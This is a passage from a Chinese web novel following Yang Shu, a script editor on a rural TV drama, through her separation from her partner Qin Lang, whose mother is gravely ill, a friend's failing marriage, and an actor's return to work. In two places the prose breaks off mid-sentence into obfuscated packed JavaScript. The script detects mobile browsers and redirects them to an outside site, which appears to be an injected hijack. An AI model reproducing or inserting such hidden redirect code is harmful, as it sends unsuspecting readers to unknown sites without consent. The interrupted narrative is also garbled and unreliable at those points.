杨树说好了不哭,一下子就湿了眼睛,秦朗下巴贴在她头发上,说起父母工作的瞭望塔下,种了许多颗苦楝树,结满土黄色的果实。小时候,他以为是黄色的葡萄,捡了几颗吃了,上吐下泻,后来才知道苦楝子毒性很大,后来只把它当成弹丸,跟小伙伴打闹嬉戏。 当年最多五六岁吧,不知道几千里外,有个爱看书的小姑娘跟自己分头成长,在二十多年后相遇,成为最好的朋友,最亲密的爱人,晴天雨天和此时正当下,总有数不尽的灵犀时刻。 秦朗说得很平静,杨树头上有湿意,她察觉到了,哭出了声。前方天遥地远,却终有到达的一刻,她多希望这辆车能一直开下去,不必再面对人间生老病死愁苦事。 “怎么办啊,还是想天天看到你。”秦朗轻轻说。因为舍不得,她才千里相送,他也舍不得,送了这么远,还是舍不得。 忍了两天的眼泪汹涌而出,杨树大哭起来。这里没人认识她,她不管了,哭得眼泪鼻涕直下。往常两人也都出过差,但都知道,回到北京,有个人是等着自己的,但这一别,不知何时才能再过上朝夕相对的生活。 服务员端上羊汤和烧饼,杨树擦着眼泪,竭力振作:“我们每天视频,我争取混好点,赚到钱就飞来飞去看你。” 秦朗说声好,刻意聊些轻松的,杨树吃着东西,笑得咯吱咯吱,仿佛这只是一趟寻常的自驾行。 车开到新乡,天黑透了,两人找家酒店住下,清晨再赶路。房间在临街马路,有些吵,秦朗去洗澡,杨树躺在大床上酝酿睡意,心如刀割,她确知这是她的幸福,却无从预知,相守从此必须大费周章去争取。 后半夜,大卡车经过,杨树醒了,再也睡不着,莫名想抽烟,尽管她并不抽烟。这家酒店房间很阔绰,还有个大阳台,她轻手轻脚走过去,盘腿坐在藤椅看天。 春节回内蒙过年那天,气温零下34°,下了飞机,秦朗冻得哇哇叫,说他来到了遥远的西伯利亚。回家的车上,两人聊了一路十二月党人和他们的妻子们,秦朗说那是一群高贵的人,中学时了解到这段历史就这样想。 19世纪20年代,俄国一群贵族人士发动武装起义,试图推翻沙皇专制制度和农奴制,被处以重刑,其中上百人被流放到寒冷荒芜的西伯利亚服苦役,他们很多人的妻子放弃大都市的贵族生活,自愿跟随而去。杨树想起这些,泪湿眼眶。秦朗回张家界,也是过苦日子去了,可她不肯跟他共赴苦难。 不跟他走,才是理性的,但一想到他不得不搁浅的事业,他苍茫不可知的未来,杨树浑身发冷,像是身在冰天雪地的荒原,她回到秦朗身旁,抱着他的腰,脸埋在他颈边。 今晚月光白茫茫,像雪。在家过年时,有天杨树起夜,发现窗外落起大雪。秦朗睡得正香,她轻轻拉开半片窗帘,重新躺回床上,藉着路灯光看雪花飞舞。 秦朗在不自觉中靠过来,呼吸声很沉静,杨树想起他小时候最爱把脚翘在他妈肚子上,用脚把他的腿捞过来,但他不再是幼童,身上暖乎乎的,两人肌肤相贴,她感到前所未有的幸福。 清晨醒来,世间被白雪映衬得亮堂堂,秦朗欢呼,他看到了一生所见最大的一场雪。杨树笑他没见过世面,生命到此,尚未过半,不能把它定义为“一生”,以后还能一起看很多很多大雪。 那天雪像棉花般大朵大朵掉落,秦朗拉着杨树冲到雪地里,把最洁净最厚的雪都踩瓷实了,才恋恋不舍回屋。当时他那么高兴,还不知道母亲查出重疾,人生即将走向措手不及的残酷。 秦朗出生在茂林修竹之地,最喜欢大自然,他每去一个好地方,都会和父母分享风景照片。他总说,等到父母退休,就带他们去看世界,看大海,看沙漠,看密林之外的远方,守林人的晚年生活将无限宽广,但一场疾病打乱了所有规划。 他注定要受苦了,可是自己帮不上他。整个世界都在倾塌,一生最大的一场雪落在面前,黑暗里,杨树无声地哭了。 开开停停,第二天晚上,杨树见到了秦母。时光对中老年人分外残忍,秦母才52岁,但比去年春节老了很多。按医生的说法,秦母的肌肉在萎缩,将逐步丧失行动能力、生活质量和呼吸功能,杨树内心的负疚排山倒海,但陪秦朗面对,不是最优解。 在秦家待了一天,杨树乘夜机去兰州。在告别的人群里,秦朗捧住她的脸,拇指在她脸颊上摩挲着,然后低下头吻她。 杨树少年时就失去了妈妈,她知道那是怎样的滋味,她心疼秦朗,更心疼这一家三口,她推着旅行箱走远,异地恋很辛苦,但她会坚持。 杨树回到苦水,祁宁还没走,坐在田间跟农人谈天。看到杨树,他走来问她还好吗,杨树不想跟人说私事,只顾着跟编剧们说话。 祁宁安静地旁听,等编剧们去采访,他问杨树:“是什么病?我找人也问问看。” 杨树纳闷地看他一眼,他连忙澄清,上周,杨树当天包车去机场赶回北京,说明事情不小,他没忍住,找阿福打听。男人和男人很简单就混熟了,阿福说:“她跟钱总说,婆婆病了,得去看看,后天就回。” 杨树没能如约回来,可见准婆婆不是小病,祁宁说:“是高血压还是心脑血管方面?我认识一个心脏病专家,是我们公司新开的医疗剧顾问。” 医生说过,脊椎空洞症不可逆,杨树心烦,往树荫里走,她着急看编剧这几天整理的修改细节,祁宁亦步亦趋:“你要不要先休息一下?” 杨树擦把汗,不耐烦道:“你管我。” 祁宁一声不响地走了,杨树看完修改细节,找花农攀谈,观察他们三五成群说闲话,东家长西家短。 有人能吃苦,有人很懒撒,但都想把日子过好,也都有自己的小算盘。剧本里写到了这些小人物,但真实的农村人说话会更活泛些,杨树和编剧们一起在剧本上勾勾画画,润色台词,把它们变得更口语化一点。 易无发掘了一家味道很棒的餐馆,杨树把它当成食堂,但好吃的饭菜油水都大,她每天晚上走上几公里,跟秦朗聊聊视频电话。以前两人各自出差,也分开过,但跟现在心理感受不一样,好像格外软弱些,总忍不住倾诉思念,总忍不住向对方索要甜言蜜语。 秦母看完电视,秦朗得去照料她,杨树对着屏幕连亲好几下,让他先挂电话,等他的面容消失,她收起手机往回走,迎面一看,祁宁正看着她。 小镇没什么健身场所,祁宁的健身方式是跟人打打篮球,再跑上几圈,想碰不见也难。杨树本来不想搭理他,但她来苦水有正事做,他一个演员,老这么游手好闲不像话,她问:“你不是过了五一就走吗?” 路灯光暗淡,祁宁背着光,表情看不分明,慢吞吞地说:“你管我。” 居然还记仇了,杨树噫了一声,祁宁立刻说:“反正又没签新戏,就当给自己放个长假。” 杨树嗤之以鼻:“没签就去找啊,姓刘的又不能一手遮天,不当干儿子,他能怎么样你不成?” 祁宁说:“我担心你。” 杨树上上下下看一看他,丛林野兽受伤后会躲起来,但是神采一点点回来了,以他现在的状态,再调整调整,拍戏应该就扛得住了,她说:“让柳艳给你多发几个现实题材的剧本,我看看有没有写得好的。” 祁宁眼里满是不可置信的神色:“你不怪我了吗?” 秦朗回湖南后,杨树心情压抑,拼命用工作阻隔分离之痛,虽然不完全奏效,但缓解很多,她很清楚工作对人的帮助有多大,想跟祁宁再谈谈,他这种心虚别扭样,不利于塑造角色。 有家烤肉店生意很好,门前坐了好几桌人,杨树大步走去:“陪我喝酒。” 菜单就一张纸,杨树叫了酒和肉,满以为祁宁又不碰它们,但他让老板加一份烤香菇,再来两串烤青椒,杨树斜眼看他:“你不是不吃东西吗?” 祁宁说:“我是人。” 杨树扑哧一笑,老板说:“嘿,常客。” 她笑得还跟从前一样,一切好像就又归位了,祁宁在桌子下搓手,字斟句酌道:“我知道我做错了事,让你瞧不起。我当时想,我当时想……” 杨树剥着花生毛豆,听他剖白自己。这个行当是荆棘丛林,他吃过一点小苦头,但大苦头他缩到一边,资源自然不算好。柳艳签的小生多是肯玩命的人,几人都演上男一号了,他仍是被挑挑拣拣的那个。 同伴说:“你现在就心疼自己,等到年老色衰了,你只会可怜自己。不如趁着这几年有本钱,眼睛一闭心一横,多捞点在手上,早点收山。” 投身那火海,是否能换个苦尽甘来的契机?他不想再让关心他的人操心,他想跟人并驾齐驱,他很想。 是真熬不住了,真去赌了,但想法比勇气多了些,为了一个男一号,值得吗?他临阵脱逃。 整夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不会来事。艳姐总嫌我只有出..台价,没有陪酒价。”话一说出口,祁宁立即闭嘴,再立即开口找补,“我长得也不算太帅,演技也一般。” 这人后悔得想把舌头咬断的模样,颇有几分有趣。杨树乐了,要么心直口快,什么话都往外说,要么闷不做声,让他陪酒能有什么乐子。 外表极具欺骗性,熟起来才看出他有多憨傻,他曾经自称是粗人,倒也准确。话说回来,他也不算不聪明,起码知道藏拙,在不熟的人面前话很少,深沉地往那儿一坐,不发一言,就能唬得人以为他能决胜于千里。 杨树故意说:“长得不算帅,演技一般,还不会来事,还能混成你这样,你问问自己,走投无路了吗?” 祁宁端起酒喝,杨树说:“你现在就着急了,等你真正走投无路的时候,再用什么方式救自己?” 祁宁低垂着眼,盯着空杯说:“那天下大雨,跟你谈完,就是我走投无路的时候。” 那就走投无路了?哪到哪。杨树转着酒杯,想起在鹤壁小饭馆的时候,跟秦朗抱头痛哭,也以为世界天昏地暗,走投无路,无数次痛恨自己不够能干,如果早早就置下大房子,就能把亲人都接来,北京的医疗条件也好些。 等那股劲儿过去,就想开了,27岁才转行,到现在还不足3年,买不起大房子,没攒到良好的社会资源,都是正常的。未来还长,理应充满希望,只求老天能行行好,父母老去的速度能再慢点。 杨树不说话,祁宁就埋头跟烤香菇较劲,切块,切丝,切成丁,但一口不吃,杨树夹了几块吃了:“你才26岁,急什么急。我26岁的时候,编一本书提成三千块,忙活大半年,老板说作者没名气,发在网上没几个读者评论,不出了。你着急还能去认干爹,我这种长相普通的怎么办?不能怎么办。可我活下来了,作者也活下来了,知道她是谁吗?” 祁宁想了一下,坐直身体:“《西北年轻人》的原著老师?” 杨树大拇指一晃:“没谁能保证,长得好看,有才华,就一定能红能成功,但是不红不成功,就自暴自弃吗?” 祁宁静下来,杨树让他再想想,自己喝酒撸串,他突然问:“你自暴自弃过吗?” 杨树笑起来,在这世界上摸爬滚打,谁没有软弱自私,可悲可笑的时刻?多少人都抱怨过,不在北京待了,回老家盖个小楼,打打麻将喝喝茶,饱食终日混完余生;多少人说大不了辞职,找个有钱人结婚去,不也照样爬起来,再为想过的生活卖把子力气。 祁宁斗胆一问:“你也想过找个有钱人吗?” 杨树又笑:“我想有用吗,是有钱人想不想吧?就是发发牢骚而已,跟喊着买彩票中500万一样,没买过。” 祁宁沉默了一瞬,盯住她说:“所以才能碰到秦老师,你那么喜欢他。” 杨树甜蜜地笑:“我和他是在甘肃定情的,他来这里找我,我们互相明白了。” 祁宁点头,再不言语。等杨树吃完东西,他把她送到酒店门口,才说:“可是你的原谅,对我很重要。” 杨树抬头看他,这么高挑的一个人,还长了一张冷硬的脸,但当他眼中清亮有水光,深深看人的时候,总让人不由自主涌起几分怜惜之意,她只好说:“行吧,我偶尔也能理解你这么一回。祁宁,以后要爱惜自己啊。” 风中,祁宁微笑而别,连背影都透出了轻松,杨树走进大堂。坚强的人令人放心,但脆弱的人,你才会心疼他们。 60. 第 60 章 编剧们闭关改剧本,杨树去找乡镇干部聊政策条文,她以为跟祁宁谈完了,他能消除心结,立刻离开苦水,但他蹲在村民家里,观看大姑娘小媳妇烘制玫瑰花蕾,不知多专心。 助理三令五申,不让祁宁透露演员身份,他在苦水镇上招摇过市,顶着模特的名头。上了年纪的人听不大懂,他就解释说是穿着漂亮衣服给人看的,有些老太太就喊他花架子,因为他是花俏的衣服架子。 杨树嘲笑他:“苦水之花,你什么时候走?” 祁宁说:“看剧本也要花时间,再待一阵吧。” 杨树瞪起眼睛,祁宁挠头:“要是回去只用拍戏,我早就回去了。” 杨树问:“柳艳没找你吗?” 去年,柳艳带的一个小生抑郁症发作,服过大剂量的安眠药,差点没救过来,柳艳花了大力气遮掩下来,心有余悸。当祁宁睁着一双血红的眼睛告假,柳艳让他休息两个月,他睡不着就睡不着,可不能闹出事,让她也睡不着。 假期还有大半个月,祁宁说:“艳姐没催我,我就不走,跟你聊聊我的学习心得吧。” 在苦水这一个月,祁宁每天都在观察生活,小卖店、餐厅和村民爱看的剧五花八门,他通过和他们的交谈,了解普通群众对影视剧的看法,对生活、对世界的看法,不无悲哀:“他们看卫视和网站剧不多,看地方台多些,有智能手机的更爱看短视频,搞笑的那种。” 杨树好笑起来:“你没给他们推荐热播剧吗?” 祁宁推荐了,但他们嫌假,不看。杨树揶揄道:“还好不看,不然就认出你了。” 祁宁挺沮丧:“看了可能也联想不到我本人。好几个人都说我太瘦了,脸都没有她家饭碗大,还说男人壮实才好看,让我吃胖点。我已经拼命吃了。” 杨树手插裙兜,去村东头张大姐家吃面皮子,真心诚意吃胖的是自己,不是这个把香菇切成末,吃上两小粒的人。 张大姐做的面皮子酸辣凉爽,杨树又吃又拿,捎上三份回酒店,给编剧送去。 走在走廊上,杨树听到会议室里,编剧们正在议论她和祁宁。宋琳说祁宁恃美行凶,当小三当得怪坦然的,杨老师绝对把持不住,易无说他见过杨树的男朋友,长得一表人才,两人感情还特别好,杨树不可能变心。 此乃真知灼见,杨树暗暗喝彩,不愧是认识三年的易无。宋琳笑说变心不值当,傻子才跟艺人来真的,除非不介意三天两头戴绿帽子,不过睡一睡岂不美哉。 白蓝说:“咱们这戏男主定了,而且没有男二号,他纯粹为了追杨老师才待在这里的?那还真是个性情中人。” 宋琳说:“演员嘛,情感都充沛。眼前是谁,就能爱上谁,剧组夫妻我们还见少了?” 杨树拿出手机,给爸爸发了几条语音,夸中午吃的面皮子很美味,晚上想吃甜醅子,它是用青稞酒加酒曲发酵而成,她一边讲解,一边慢条斯理走向会议室。 编剧们听到她的声音,飞快聊起了别的。等他们吃完东西,杨树开个小会,本国是农业大国,农业人口基数大,普通人不爱看有钱和精英阶层的生活,《西北年轻人》写的是农民故事,写得越贴近生活,越能打动他们,剧本关心他们的生计和土地,才能真正写到他们心里去。 千里之外的北京,《北宋宫事》的筹备工作有序进行,杨树一直远程做着道具采买审核工作,忙完到了傍晚,她出门吃饭,祁宁等在酒店楼下,眼睛亮晶晶地问:“想不想吃甜醅子?” 这棵空心树召回了他涣散的灵魂,恢复了些微生机,但他该回到能给他带来阳光雨露的地方。劝过他,他不听,那就换个办法。 杨树眯起眼看祁宁,再打开手机镜头对着他看,祁宁本能地伸手挡脸,但马上意识到这位不是粉丝,拿开手,想摆个POSE,肢体有点僵,人看着有些愣,杨树痛心疾首状:“你怎么胖了这么多啊。” 祁宁果然被唬住了,凑过来看照片,但杨树只是用镜头看他,没有拍照,把手机递给他:“自己看。来这儿就没自拍过吧?不能光照镜子懂吗,你得上镜。” 祁宁对着镜头左照右照,杨树煽风点火:“我刚来那天就发现了,怕打击你才没说。她们把你当成种田的劳力来看,才劝你多吃点,你还真以为你能下地干活?” 演员到底是演员,只慌张了一小下,把表情调到他最迷人的样子,咔嚓一声,拍照保存,再递回给杨树:“我从现在就减。” 杨树点开照片看,祁宁眨着眼睛说:“你别删。过半个月我再拍一张,你对比看,保证瘦下来了。” 杨树把手机揣回包里:“你需要做科学的健身训练,像以前一样。” 祁宁在社交网页发过健身时的照片,但现在就回北京,他心不甘情不愿:“回去就又得跟恶心的人互相假来假去了。” 杨树袖着手说:“又让你有钱赚,又让你心里舒坦,天底下哪有这么好的事?工作哪有不操蛋的,滚回去吧。” 祁宁皱起眉,那些人是真的很烦,杨树明白他在想什么:“对编剧老师来说,我这个甲方代表很烦;对我来说,平台很烦;对平台来说,审查很烦,大家都一样。你不回去不行,万一最近再有个少帅找你演,军装丢给你,你塞不进去怎么办?” 祁宁在苦水又待了一天,跟他结交的人们道声再见,虽然他这辈子可能都不会再故地重游。人们赠以特产,他乖乖来向杨树告别:“你真没事吧?” 连恐带吓很管用,杨树很满意:“我能有什么事?” “有事要说啊。”祁宁把旅行箱放进后备箱,沉痛地问,“我真的胖了那么多?我看不出来。” “当局者迷。注意啊,别练过头了。”杨树忍笑,叮嘱他再想干点丢脸的事之前,多看看大画家的画作。他自己有相同的一幅,画面是站在悬崖边的孤独孩童,往前一步万劫不复,站定了,人就稳住了。任何事都是这样,活着,熬着,只要不死,就有希望迎来转机。 车子开出,大猫颠儿颠儿地走了。杨树回房间看剧本,吃完中饭跟秦朗视频。秦母每天午休时分,秦朗总能松快一会儿。 祁宁介绍的心脏病专家人很好,杨树加他微信,说明了秦母病情,专家把副院长的联系方式发给她。 副院长有个团队,助手们每天为患者提供基础的线上咨询服务,再把难点汇总交给副院长答疑。秦朗拍摄了母亲的病历和各种胶片,但结论跟省城专家会诊意见差不多,7月底的手术势在必行,根据预后情况再进行下一阶段的治疗。 视频那头,秦朗说着说着就沉默了,杨树心疼不已。刚分开那会儿,她还能开开玩笑,说秦朗搞异地恋经验丰富,能助她熬过相思之苦,可她一天比一天想他。 白天公事繁忙,杨树还能捱,每到夜深人静,沉重感挥之不去。周末时,章嘉敏把女儿交给丈夫,来苦水陪她待上两天。 秦朗离京返乡时,杨树跟章嘉敏说过此事,章嘉敏很为秦朗可惜,秦朗跟她丈夫情况不同,丈夫是抑郁症患者,无力胜任工作,才藉着母亲的小手术为由回甘肃,他太需要一个撤退的理由了。 秦朗事业正好,章嘉敏认为他回湖南,不如留在北京赚钱,小地方好护工难请,但多花点钱,一定能请到。护工就能做的事,何苦把自己折进去,真正能救命的是钱,在北京肯定比在张家界做兼职赚得多。 这些道理,杨树哪里不明白,但秦朗和父母感情很好,她都看在眼里。秦母患的是重病,还有并发症,残忍地说,她还能活多少年?她换位思考,假如是自己,母亲人生最后那些年,她却不在身边,而是在赚取其实并不能改变命运的钱,她想她会后悔。 火烧眉毛,只顾眼下,人往往只能做出这样的选择,而自己的漫漫余生如何度过,那是翻过面前这座山再考虑的事。当然,杨树也不得不承认,秦朗的决定其实跟他还未成家有一定关系,如果两人结了婚,有孩子,他可能不会义无反顾放弃北京。 章嘉敏到来,杨树从大床房换到了标准间,两人躺在床上谈天,章嘉敏问:“你怪他吗?” 杨树说:“我理解,换了我,我也一样。” 专家们都评估,手术风险很大。秦朗刚回去时,还挺乐观,但杨树眼睁睁地看着他状态变差。秦母要强了一辈子,临老却寸步难行,她难以接受,变得喜怒不定,自己受罪,丈夫儿子情绪也受到影响。 秦朗坐困愁城,视频里,他的笑容总是力不从心,时时无言。杨树很揪心,章嘉敏无从劝起,讲起自己现在的生活。 章嘉敏结婚有女,不想离婚,才被迫随丈夫迁回老家,但在甘肃这两三年,她时感憋屈。 在小县城,章嘉敏找不到专业对口的工作,只能在家用电脑做点兼职。朱青很照顾她,让她远程做项目责编,但章嘉敏每天都待在家里,跟公婆生活习惯不同,还被催生二胎,摩擦不断。 丈夫的抑郁症还未康复,章嘉敏的心情只能自己调节。这些琐碎事都能尽量克服,章嘉敏最烦心的是女儿的教育。女儿读到幼儿园大班了,即将毕业,去年发生过一件事,让章嘉敏对回到甘肃大为后悔。 班里小男孩居多,课间打闹,把教室弄得乱糟糟,老师让孩子们一起清理,结果小男孩打翻水盆,教室更为狼藉。小女孩告状,老师却说男孩子就是淘气,赶他们一边玩去,让小女孩继续干活。 章嘉敏接女儿回家,女儿累极了,她说老师告诉大家,把家里收拾得井井有条是女孩子的事,还讲了田螺姑娘的故事。章嘉敏生气地去找老师,老师是刚满20岁的未婚姑娘,她不明白教导女孩子要温柔贤惠何错之有。 好一通交谈,老师仍听不明白,章嘉敏很泄气,是谁教老师这些的,她是如何形成这种观点,并引导下一代小女孩? 此后,章嘉敏事无巨细了解女儿在幼儿园的情况,越发丧气,自此对女儿的教育越发细致,但她教的和老师教的是两码事,女儿经常无所适从。 有天章嘉敏和朱青打电话聊剧本,女儿问:“朱阿姨三十多了,为什么还不找男朋友?再不找,就没人要了。” 章嘉敏心中一凉,她从没给女儿灌输过这种观点,但孩子不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091466|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠家庭教育就行的,是全社会都在教育她,她跟女儿说:“人不一定要结婚的,朱阿姨有才,有事业,有朋友,足够了。” 女儿睁大眼睛:“老师和班里的同学都说,女孩子长大就是要嫁人的。” 小孩子的信息吸收能力太好了,越长大就离父母越远,离社会越近,很难不受别人影响,章嘉敏想给女儿转班级,但跟邻人聊过,发现别的老师也差不多。 章嘉敏和丈夫交流,丈夫兼职的中学教师也各有各的惯有思维,男老师认为优秀女学生小时了了,大未必佳,到高中就会落后于男生;女老师羡慕嫁了有钱人的女人,她生了两个儿子,穿金戴银开豪车,命真好。 近年社会风气趋于保守,大城市的教师不见得比小县城的教师有女性意识,但从概率上来说可能大些,章嘉敏想赌一把。古时孟母三迁,今天的她同样能做到。 今年秋天,女儿就要读一年级了,章嘉敏决定带女儿回北京。丈夫当年在北京落了户,女儿能回北京上学,从去年起,她就着手办理此事,只跟丈夫说过,公婆到时候闹就闹吧,她管不了那么多了。 杨树问:“决定了吗?” 章嘉敏点头,回北京陪读,不仅是想在能力范围内给女儿好一点的教育,还能让自己远离感觉逼仄的婆家。杨树问她丈夫怎么办,章嘉敏说丈夫在县城做个兼职老师能糊个口,回北京抑郁症再发作就麻烦了,所以他就留在老家。 杨树说:“以后长期分居吗?” 章嘉敏笑笑,人总是要有取舍的,她更重视对女儿的教育,但往深层次剖析,她烦了。她和丈夫是有感情,但在面对他的虚弱、公婆从生活到生育的干涉之时,那点感情不算什么。 在甘肃两年多,章嘉敏明白一个事实,她高估了自己对感情的需要。每当厌烦感升起,她都会自问,值得吗?尤其是杨树和朱青在事业上风生水起,而她网购一条裙子,还得对公婆隐瞒价钱的时候,她连丈夫都看不顺眼了,孱弱的精神病人把她的人生拖垮了,凭什么?! 患病不是丈夫所愿,章嘉敏尽力去体谅,陪他走过这几年,她很照顾他的感受,但丈夫不大照顾她的感情,他自顾不暇。 时间一久,章嘉敏发现自己克制不了内心的怨愤,已经不指望丈夫养家了,为什么他孱弱如故,让他拖个地都要用吼的。 丈夫做兼职的收入只够买菜吃药,上有老下有小,都是章嘉敏的事,她时常感到疲倦,以前在北京时总有盼头,觉得努力就有希望,但来到甘肃,她仅剩的希望是女儿。 两地分居会让感情变淡,章嘉敏已不在乎,她曾经做错了决定,而今只想修正。担心丈夫,才跟来永登县城,但谁担心她因此搁置的人生价值?选择失误,也没什么大不了的,改了就行。 秦朗回了湖南,房子空了一间,丁盼兮和杨树的收入比以前高,没打算招租新人,杨树让章嘉敏回京带女儿住进去,跟丁盼兮做个伴。 两人聊着聊着睡着了,杨树睡到中午才醒,吃完饭,她跟秦朗视频,一看到他心力交瘁的模样,她就内疚:“我想请一段时间假,陪你熬过去。” 秦朗沉默了一下,他承认是很累,但只是缺乏照顾病人的经验,多摸索摸索就能适应,如果杨树去张家界,帮他分担家事,他会自责,因为她明明可以不这样。 杨树说:“是我自己想去,我不为你做点什么,心里难受。” 秦朗说:“能不能放下情绪?理性地想想自己一路是怎么走过来的,目标是什么。” 杨树让自己冷静下来,当年她坐上派遣公司的大巴离开内蒙小城,去北京从外贸公司文员做起,绝不是为了有一天,去湖南小城跟男人扛无谓的义气,她内心也丢不下自己的项目,但是…… 秦朗看出她欲言又止,还像以前那样,带点捉弄的笑意喊她:“杨小树。” 杨树应了一声,秦朗在视频里笑:“其实,我挺高兴的。” 杨树一头雾水地看他,秦朗说:“我一直觉得我媳妇的脑子很好用,不爱犯傻,但犯次傻吧也挺好,让我知道你特别喜欢我。” 每天都跟他说点好听的,他还搞得像第一次知道似的,杨树没好气:“知道还不让我去陪你,反正你最艰难的时候,我就该在你身边。” “你哪有不在?在这儿呢。”秦朗拍拍心口,“我走到哪里,你都在。” 杨树被他弄哭了,哭得挺难看,边哭边说:“你怎么这么烦啊。” 酒店大堂里,章嘉敏叫了玫瑰花茶,杨树红肿着眼睛落座:“我想请假去湖南,但实在走不开。做一个项目要花上几年,所以每个项目对我都至关重要,是我攀升的基础,必须全力以赴,但我想到他,还是有些难受。” 图谋两个人的未来,绝不能一时意气用事,章嘉敏叹道:“你纯属情绪上来没压住,幸好他没怂恿你。以后跟他见着面了,我要向他敬杯酒。” 杨树带章嘉敏去相熟的花农家里吃玫瑰点心,把自己哄高兴了。秦家不缺半吊子护工,但她把事业做好,对自己才有利,才有余力在将来帮到秦朗。 61. 第 61 章 《西北年轻人》在甘肃的主拍摄地定在天水,苦水这边主要是拍些跟玫瑰花田有关的戏份,大概四十多场的样子,潘亚勤把杨树召去天水,协助他把重要布景再过一遍。这件事不一定由责编负责,但潘亚勤在《天作之合》就跟杨树合作过,很信赖她,论剧本组里也没人比她更熟。 天水是华夏文明的重要发祥地之一,据传是伏羲和女娲诞生地。《西北年轻人》强调“乡村振兴”,不再一味展示破烂贫瘠的农村景象,所以钱一诺和潘亚勤选了相对落后,风景又足够美的天水地区。 剧中村官的办公室是美术团队参考资料搭出来的,得严格自查,确保符合政策标准。杨树联系本地宣传部的干部把关,办公室面积、设备有没有超标,吃一顿饭能有几个菜,开会座位怎么坐,墙上的扶贫标语是不是最新,都在核查范围内,党政内容很多,还琐碎,众人都忙得团团转。 阿福牵头负责培训群众演员,他们都是本地农民,没学过表演,需要统一训练。贫困户和技术员等人思维方式的碰撞,容易产生一些喜剧效果,表现出来很逗乐,杨树时时被逗笑,苦闷心绪被冲淡很多。 《西北年轻人》开机前一周,营销号爆料男主角姓甚名谁,还说此剧是广电总局钦定,被上层看好,是央一预订的开年大剧。消息一出,演员的粉丝闹开了。演员主演的言情剧正在热播,是上升期小生,唐问羽这两年都没作品播出,为何在四月份就先官宣了她,名字还在小生前面? 老领导看重项目不假,但公司的重大题材革命剧是任务剧,过审都千辛万苦,《西北年轻人》何来播出无忧之说?这犯了钱一诺的忌讳。选这位演员只限公司少数人知道,没谁会向外说,但也不能说完全没有,毕竟都有助手,不过,更大可能是演员方主动授意营销号发布消息。 粉丝争番位,在钱一诺看来更是无聊可笑,定角时如日中天,播出时一落千丈比比皆是,而谁又能预料此时的无名之辈哪天红了? 演员的经纪公司跟明堂影视的法务还在掰扯合同细则,他只能给61天拍摄时间,钱一诺喊停,让制片主任约出祁宁聊聊。 祁宁泡在健身房增肌减脂,接到制片主任的电话:“最近有档期吗?” 那日一回到北京,祁宁就跳上体测仪,五雷轰顶地发觉,他是被杨树骗回来的。但信心也回来了,每天在朋友圈发□□身照,有个人不知道他分了组,只对她一人可见,次次点赞。 祁宁挂了电话就想找杨树,但成不成还两说,吃只鸡翅激励自己,佯装淡定去见钱一诺。他以为还要再试戏,但在茶楼包厢阐述完对角色的理解,钱一诺就让法务人员找他谈合同细节了。 杨树的手机跳出一条信息:“我会努力演好,开机见。” 《西北年轻人》男主角落到了祁宁头上,他以为是杨树使的劲,杨树很惊讶,问起阿福才得知,她陪秦朗回湖南期间,祁宁在钱一诺面前表现了一番。 祁宁倒也不是存心,村里有个休闲室,村人常在那里聚集,有人画水粉画,有人编织竹筐,有人打扑克,有人看书,祁宁每天都晃过去玩,静静听他们扯闲篇。 钱一诺听说村里出了个农民画家,让村官带他来看看,一进门,他就看到祁宁在角落里编织一件像箩筐的竹器,编得很熟练,谁来他都没发现,谁偷瞄他也没发现。 扶贫不仅体现在物资上,精神上有追求,更证明了扶贫的成果,看完农民画家的作品,钱一诺让编剧给她写几场戏。谈完事下楼,他又看了两眼,祁宁不怎么跟人说话,就埋头干活。 阿福指指箩筐,村官解释是鸡罩子,平时就挂在屋檐下,过年前摘下它,把想杀的鸡都关进去,集中饲养,养肥点再吃。祁宁听到了,抬起头说:“王姐说,用它抓鱼也方便……” 他这才看到钱一诺,赶忙站起来,阿福打趣:“你都开发第二职业啦?” 祁宁笑,旁边的婶子说他人聪明,一学就会,这都编到第五个了,真能拿出去卖。 编了五个,颇费点时间,阿福暗想他可能真没有制造偶遇,钱一诺来苦水是临时定的时间,事先没跟杨树说过。 当天晚上,祁宁找阿福打听杨树,阿福笑他居然学会编织,祁宁说本地方言还算好懂,但他不善于寒暄,手上编点东西,有活干,就能少说点话,多听别人说。 临开机换角,得找熟人顶上,钱一诺想到祁宁。他闷头闷脑捣鼓一只箩筐,跟剧本里那个一次次试验乳液瓶,以达到内胆安装牢固、不易松动的电气工程师的劲儿挺像,肯实干,还沉浸其中。 面谈时,钱一诺问:“怎么想到去编那个筐子的?” 祁宁说他上次试戏失败,意识到自己完全不懂生活,刚去苦水的时候,他欣赏农民画,看到有人在编织鸡罩,就问了几句。他业务学习时,在两部农村剧里都看到它一闪而过。 钱一诺听到这里,扭头让制片主任准备合同,鸡罩是农村剧里常用的道具,不定格看不清,不会有几个年轻演员注意到他,但从村里走出的农民儿子,会熟悉自家的日用品。演农村剧,就得有这点本真的东西。 祁宁签完合同,直奔天水,入住剧中男女主角的“家”里熟悉环境。这幢小楼由本地企业家出资,美术团队搭建,拍完戏就改成民宿迎接游客,像这种剧和文旅业结合,是很多扶贫剧都会采用的做法。 杨树等工作人员住在招待所,祁宁把旅行箱扔进房间就去找她,几只食盒往她面前一递:“快吃。” 杨树在朋友圈感叹想念公司附近日料店的海鲜拌饭,所以他打包了两份,装在冷链箱带来。杨树哭笑不得,她就随便一说,倒也不必这么复杂,祁宁却还记得她说过不准送礼物,只接受吃吃喝喝,他递双筷子给她,自己拿走另一份:“一起吃。” 果然人逢喜事精神爽啊,都敢吃米饭了,杨树对着海鲜饭拍照,啧啧道:“马上要开机了,苦日子来了,多吃点。” 